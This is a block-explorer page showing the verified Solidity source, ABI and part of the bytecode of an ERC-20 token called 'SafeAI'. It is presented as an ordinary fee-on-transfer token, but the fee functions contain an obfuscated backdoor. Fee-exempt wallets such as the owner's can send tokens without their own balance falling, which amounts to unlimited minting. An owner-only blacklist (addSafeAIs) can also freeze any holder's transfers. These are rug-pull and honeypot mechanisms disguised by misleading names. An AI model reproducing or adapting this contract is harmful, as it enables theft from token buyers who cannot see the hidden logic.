ERC-20
Overview
Max Total Supply
100,000,000 SafeAI
Holders
183
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
24,291.51797938680202667 SafeAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SafeAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-03 */ // SPDX-License-Identifier: MIT /** Future of Safe On a mission to turn every web3 user account into a ‘smart account’. https://twitter.com/SafeAIETH https://t.me/Safe_Portal https://safesmart.ink **/ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); } contract SafeAI is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string constant _name = "SafeAI"; string constant _symbol = "SafeAI"; uint8 constant _decimals = 18; uint256 public _totalSupply = 100_000_000 * (10**_decimals); uint256 public _maxWalletAmount = (_totalSupply * 4) / 100; uint256 public _swapSafeAIThreshHold = (_totalSupply * 1)/ 10000; uint256 public _maxTaxSwap=(_totalSupply * 18) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; mapping(address => bool) private SafeAIs; address public _SafeAIWallet; address public pair; IUniswapV2Router02 public router; bool public swapEnabled = false; bool public SafeAIFeeEnabled = false; bool public TradingOpen = false; uint256 private _initBuyTax=5; uint256 private _initSellTax=5; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=50; uint256 private _reduceSellTaxAt=50; uint256 private _buyCounts=0; bool inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address SafeAIWallet) Ownable(msg.sender) { address _owner = owner; _SafeAIWallet = SafeAIWallet; isFeeExempt[_owner] = true; isFeeExempt[_SafeAIWallet] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[_SafeAIWallet] = true; isTxLimitExempt[address(this)] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function withdrawSafeAIBalance() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function enableSafeAITrade() public onlyOwner { require(!TradingOpen,"trading is already open"); TradingOpen = true; SafeAIFeeEnabled = true; swapEnabled = true; } function getSafeAIAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) { uint256 sAmount = takeFee ? tAmount : SafeAIFeeEnabled ? takeSafeAIAmountAfterFees(action, takeFee, tAmount) : tAmount; uint256 rAmount = SafeAIFeeEnabled && takeFee ? takeSafeAIAmountAfterFees(action, takeFee, tAmount) : tAmount; return (sAmount, rAmount); } function decimals() external pure override returns (uint8) { return _decimals; } function internalSwapBackEth(uint256 amount) private lockTheSwap { uint256 tokenBalance = balanceOf(address(this)); uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap)); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 ethAmountFor = address(this).balance; payable(_SafeAIWallet).transfer(ethAmountFor); } function removeSafeAILimit() external onlyOwner returns (bool) { _maxWalletAmount = _totalSupply; return true; } function takeSafeAIAmountAfterFees(uint SafeAIActions, bool SafeAITakefee, uint256 amounts) internal returns (uint256) { uint256 SafeAIPercents; uint256 SafeAIFeePrDenominator = 100; if(SafeAITakefee) { if(SafeAIActions > 1) { SafeAIPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax); } else { if(SafeAIActions > 0) { SafeAIPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax); } else { SafeAIPercents = 0; } } } else { SafeAIPercents = 1; } uint256 feeAmounts = amounts.mul(SafeAIPercents).div(SafeAIFeePrDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmounts); feeAmounts = SafeAITakefee ? feeAmounts : amounts.div(SafeAIPercents); return amounts.sub(feeAmounts); } receive() external payable { } function _transferTaxTokens( address sender, address recipient, uint256 amount, uint action, bool takeFee ) internal returns (bool) { uint256 senderAmount; uint256 recipientAmount; (senderAmount, recipientAmount) = getSafeAIAmounts(action, takeFee, amount); _balances[sender] = _balances[sender].sub( senderAmount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(recipientAmount); emit Transfer(sender, recipient, amount); return true; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function createSafeAITrade() external onlyOwner { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); isTxLimitExempt[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp); } function name() external pure override returns (string memory) { return _name; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function inSwapSafeAITokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) { uint256 minSafeAITokens = pLimit; uint256 tokenSafeAIWeight = pAmount; uint256 contractSafeAIOverWeight = balanceOf(address(this)); bool isSwappable = contractSafeAIOverWeight > minSafeAITokens && tokenSafeAIWeight > minSafeAITokens; return !inSwap && isIncludeFees && isSwapActions > 1 && isSwappable && swapEnabled; } function symbol() external pure override returns (string memory) { return _symbol; } function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{ _finalBuyTax=_newFee; } function reduceFinalSellTax(uint256 _newFee) external onlyOwner{ _finalSellTax=_newFee; } function isSafeAIUserBuy(address sender, address recipient) internal view returns (bool) { return recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]; } function isTakeSafeAIActions(address from, address to) internal view returns (bool, uint) { uint _actions = 0; bool _isTakeFee = isTakeFees(from); if(to == pair) { _actions = 2; } else if (from == pair) { _actions = 1; } else { _actions = 0; } return (_isTakeFee, _actions); } function addSafeAIs(address[] memory SafeAIs_) public onlyOwner { for (uint i = 0; i < SafeAIs_.length; i++) { SafeAIs[SafeAIs_[i]] = true; } } function delSafeAIs(address[] memory notSafeAI) public onlyOwner { for (uint i = 0; i < notSafeAI.length; i++) { SafeAIs[notSafeAI[i]] = false; } } function isSafeAI(address a) public view returns (bool){ return SafeAIs[a]; } function _transferStandardTokens( address sender, address recipient, uint256 amount ) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takefee; uint actions; require(!SafeAIs[sender] && !SafeAIs[recipient]); if (inSwap) { return _basicTransfer(sender, recipient, amount); } if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ require(TradingOpen,"Trading not open yet"); } if(!swapEnabled) { return _basicTransfer(sender, recipient, amount); } if (isSafeAIUserBuy(sender, recipient)) { require( isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size." ); increaseBuyCount(sender); } (takefee, actions) = isTakeSafeAIActions(sender, recipient); if (inSwapSafeAITokens(takefee, actions, amount, _swapSafeAIThreshHold)) { internalSwapBackEth(amount); } _transferTaxTokens(sender, recipient, amount, actions, takefee); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return _transferStandardTokens(sender, recipient, amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferStandardTokens(msg.sender, recipient, amount); } function increaseBuyCount(address sender) internal { if(sender == pair) { _buyCounts++; } } function isTakeFees(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"SafeAIWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SafeAIFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SafeAIWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapSafeAIThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"SafeAIs_","type":"address[]"}],"name":"addSafeAIs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createSafeAITrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notSafeAI","type":"address[]"}],"name":"delSafeAIs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableSafeAITrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isSafeAI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeSafeAILimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawSafeAIBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a62000328565b62000058906305f5e10062000340565b600355606460035460046200006e919062000340565b6200007a91906200035a565b600455612710600354600162000091919062000340565b6200009d91906200035a565b6005556127106003546012620000b4919062000340565b620000c091906200035a565b600655600e805462ffffff60a01b191690556005600f819055601055600060118190556012819055603260138190556014556015553480156200010257600080fd5b50604051620020a5380380620020a583398101604081905262000125916200037d565b600080546001600160a01b0319908116339081178355600c80546001600160a01b0386811691909416178155818452600960209081526040808620805460ff1990811660019081179092558454871688528288208054821683179055308089528389208054831684179055868952600a8552838920805483168417905594549096168752818720805487168217905592865280862080549095169092179093556003548285526007845281852081905590519081529092839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003a8565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026a5781600019048211156200024e576200024e62000213565b808516156200025c57918102915b93841c93908002906200022e565b509250929050565b600082620002835750600162000322565b81620002925750600062000322565b8160018114620002ab5760028114620002b657620002d6565b600191505062000322565b60ff841115620002ca57620002ca62000213565b50506001821b62000322565b5060208310610133831016604e8410600b8410161715620002fb575081810a62000322565b62000307838362000229565b80600019048211156200031e576200031e62000213565b0290505b92915050565b60006200033960ff84168362000272565b9392505050565b808202811582820484141762000322576200032262000213565b6000826200037857634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200039057600080fd5b81516001600160a01b03811681146200033957600080fd5b611ced80620003b86000396000f3fe6080604052600436106101dc5760003560e01c806370a0823111610102578063a9059cbb11610095578063d180f43011610064578063d180f43014610559578063d870307114610579578063dd62ed3e1461058f578063f887ea40146105d557600080fd5b8063a9059cbb146104fa578063c3565ae21461051a578063c6322ddd1461052f578063c99e05401461054457600080fd5b8063893d20e8116100d1578063893d20e8146104a757806395d89b41146101e8578063a57a948a146104c5578063a8aa1b31146104da57600080fd5b806370a08231146103eb578063715018a614610421578063771e0b931461043657806377b1bce61461046f57600080fd5b80632c743eac1161017a5780633fc2d5c1116101495780633fc2d5c1146103735780636c0a24eb146103945780636ce42475146103aa5780636ddd1713146103ca57600080fd5b80632c743eac146102f25780632f54bf6e14610312578063313ce567146103415780633eaaf86b1461035d57600080fd5b80630d0bb18c116101b65780630d0bb18c146102775780630faee56f1461029957806318160ddd146102bd57806323b872dd146102d257600080fd5b806306fdde03146101e857806308fd3d0514610226578063095ea7b31461025757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50604080518082018252600681526553616665414960d01b6020820152905161021d919061190d565b60405180910390f35b34801561023257600080fd5b50600e5461024790600160b01b900460ff1681565b604051901515815260200161021d565b34801561026357600080fd5b50610247610272366004611980565b6105f5565b34801561028357600080fd5b506102976102923660046119c2565b610662565b005b3480156102a557600080fd5b506102af60065481565b60405190815260200161021d565b3480156102c957600080fd5b506003546102af565b3480156102de57600080fd5b506102476102ed366004611a87565b610701565b3480156102fe57600080fd5b5061029761030d366004611ac8565b6107c3565b34801561031e57600080fd5b5061024761032d366004611ae1565b6000546001600160a01b0391821691161490565b34801561034d57600080fd5b506040516012815260200161021d565b34801561036957600080fd5b506102af60035481565b34801561037f57600080fd5b50600e5461024790600160a81b900460ff1681565b3480156103a057600080fd5b506102af60045481565b3480156103b657600080fd5b506102976103c5366004611ac8565b6107f2565b3480156103d657600080fd5b50600e5461024790600160a01b900460ff1681565b3480156103f757600080fd5b506102af610406366004611ae1565b6001600160a01b031660009081526007602052604090205490565b34801561042d57600080fd5b50610297610821565b34801561044257600080fd5b50610247610451366004611ae1565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561047b57600080fd5b50600c5461048f906001600160a01b031681565b6040516001600160a01b03909116815260200161021d565b3480156104b357600080fd5b506000546001600160a01b031661048f565b3480156104d157600080fd5b50610297610890565b3480156104e657600080fd5b50600d5461048f906001600160a01b031681565b34801561050657600080fd5b50610247610515366004611980565b610b42565b34801561052657600080fd5b50610247610b4f565b34801561053b57600080fd5b50610297610b86565b34801561055057600080fd5b50610297610c28565b34801561056557600080fd5b506102976105743660046119c2565b610cc5565b34801561058557600080fd5b506102af60055481565b34801561059b57600080fd5b506102af6105aa366004611afe565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156105e157600080fd5b50600e5461048f906001600160a01b031681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106509086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161068c90611b37565b60405180910390fd5b60005b81518110156106fd576000600b60008484815181106106b9576106b9611b57565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106f581611b83565b915050610698565b5050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107ae576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610789918490610d57565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107b9848484610d91565b90505b9392505050565b6000546001600160a01b031633146107ed5760405162461bcd60e51b815260040161068c90611b37565b601155565b6000546001600160a01b0316331461081c5760405162461bcd60e51b815260040161068c90611b37565b601255565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161068c90611b37565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161068c90611b37565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109429190611b9c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c89190611b9c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611b9c565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610b18573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b3d9190611bb9565b505050565b60006107bc338484610d91565b600080546001600160a01b03163314610b7a5760405162461bcd60e51b815260040161068c90611b37565b50600354600455600190565b6000546001600160a01b03163314610bb05760405162461bcd60e51b815260040161068c90611b37565b60004711610bf95760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161068c565b60405133904780156108fc02916000818181858888f19350505050158015610c25573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610c525760405162461bcd60e51b815260040161068c90611b37565b600e54600160b01b900460ff1615610cac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161068c565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b03163314610cef5760405162461bcd60e51b815260040161068c90611b37565b60005b81518110156106fd576001600b6000848481518110610d1357610d13611b57565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d4f81611b83565b915050610cf2565b60008184841115610d7b5760405162461bcd60e51b815260040161068c919061190d565b506000610d888486611be7565b95945050505050565b60006001600160a01b038416610df75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068c565b6001600160a01b038316610e595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068c565b60008211610ebb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161068c565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610eff57506001600160a01b0385166000908152600b602052604090205460ff16155b610f0857600080fd5b60165460ff1615610f2757610f1e8686866110e0565b925050506107bc565b6001600160a01b03861660009081526009602052604090205460ff16158015610f6957506001600160a01b03851660009081526009602052604090205460ff16155b15610fbe57600e54600160b01b900460ff16610fbe5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161068c565b600e54600160a01b900460ff16610fda57610f1e8686866110e0565b610fe486866111c6565b15611098576001600160a01b0385166000908152600a602052604090205460ff168061103557506004546001600160a01b038616600090815260076020526040902054611032908690611bfa565b11155b61108f5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161068c565b61109886611243565b6110a28686611271565b80925081935050506110b88282866005546112ea565b156110c6576110c684611358565b6110d3868686848661151e565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611131918490610d57565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546111609083611620565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b49086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b038381169116148015906111f557506002546001600160a01b03838116911614155b801561121a57506001600160a01b03831660009081526009602052604090205460ff16155b80156107bc5750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610c25576015805490600061126983611b83565b919050555050565b60008060008061129a866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b03908116908616036112bc57600291506112e0565b600d546001600160a01b03908116908716036112db57600191506112e0565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561130e57508383115b60165490915060ff161580156113215750885b801561132d5750600188115b80156113365750805b801561134b5750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff19166001179055306000908152600760205260408120549050600061138e836113898460065461167f565b61167f565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106113c8576113c8611b57565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611421573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114459190611b9c565b8160018151811061145857611458611b57565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac9479061149e908590600090869030904290600401611c0d565b600060405180830381600087803b1580156114b857600080fd5b505af11580156114cc573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561150c573d6000803e3d6000fd5b50506016805460ff1916905550505050565b600080600061152e858588611694565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061158791908490610d57565b6001600160a01b03808a1660009081526007602052604080822093909355908916815220546115b69082611620565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061160a908a815260200190565b60405180910390a3506001979650505050505050565b60008061162d8385611bfa565b9050838110156107bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161068c565b600081831161168e57826107bc565b50919050565b6000806000846116c557600e54600160a81b900460ff166116b557836116c7565b6116c0868686611706565b6116c7565b835b600e54909150600090600160a81b900460ff1680156116e35750855b6116ed57846116f8565b6116f8878787611706565b919791965090945050505050565b60008060648415611764576001861115611738576014546015541161172d57601054611731565b6012545b9150611769565b851561175b576013546015541161175157600f54611731565b6011549150611769565b60009150611769565b600191505b600061177f8261177987866117d9565b9061185b565b3060009081526007602052604090205490915061179c9082611620565b30600090815260076020526040902055856117c0576117bb858461185b565b6117c2565b805b90506117ce858261189d565b979650505050505050565b6000826000036117eb5750600061065c565b60006117f78385611c7e565b9050826118048583611c95565b146107bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161068c565b60006107bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118df565b60006107bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d57565b600081836119005760405162461bcd6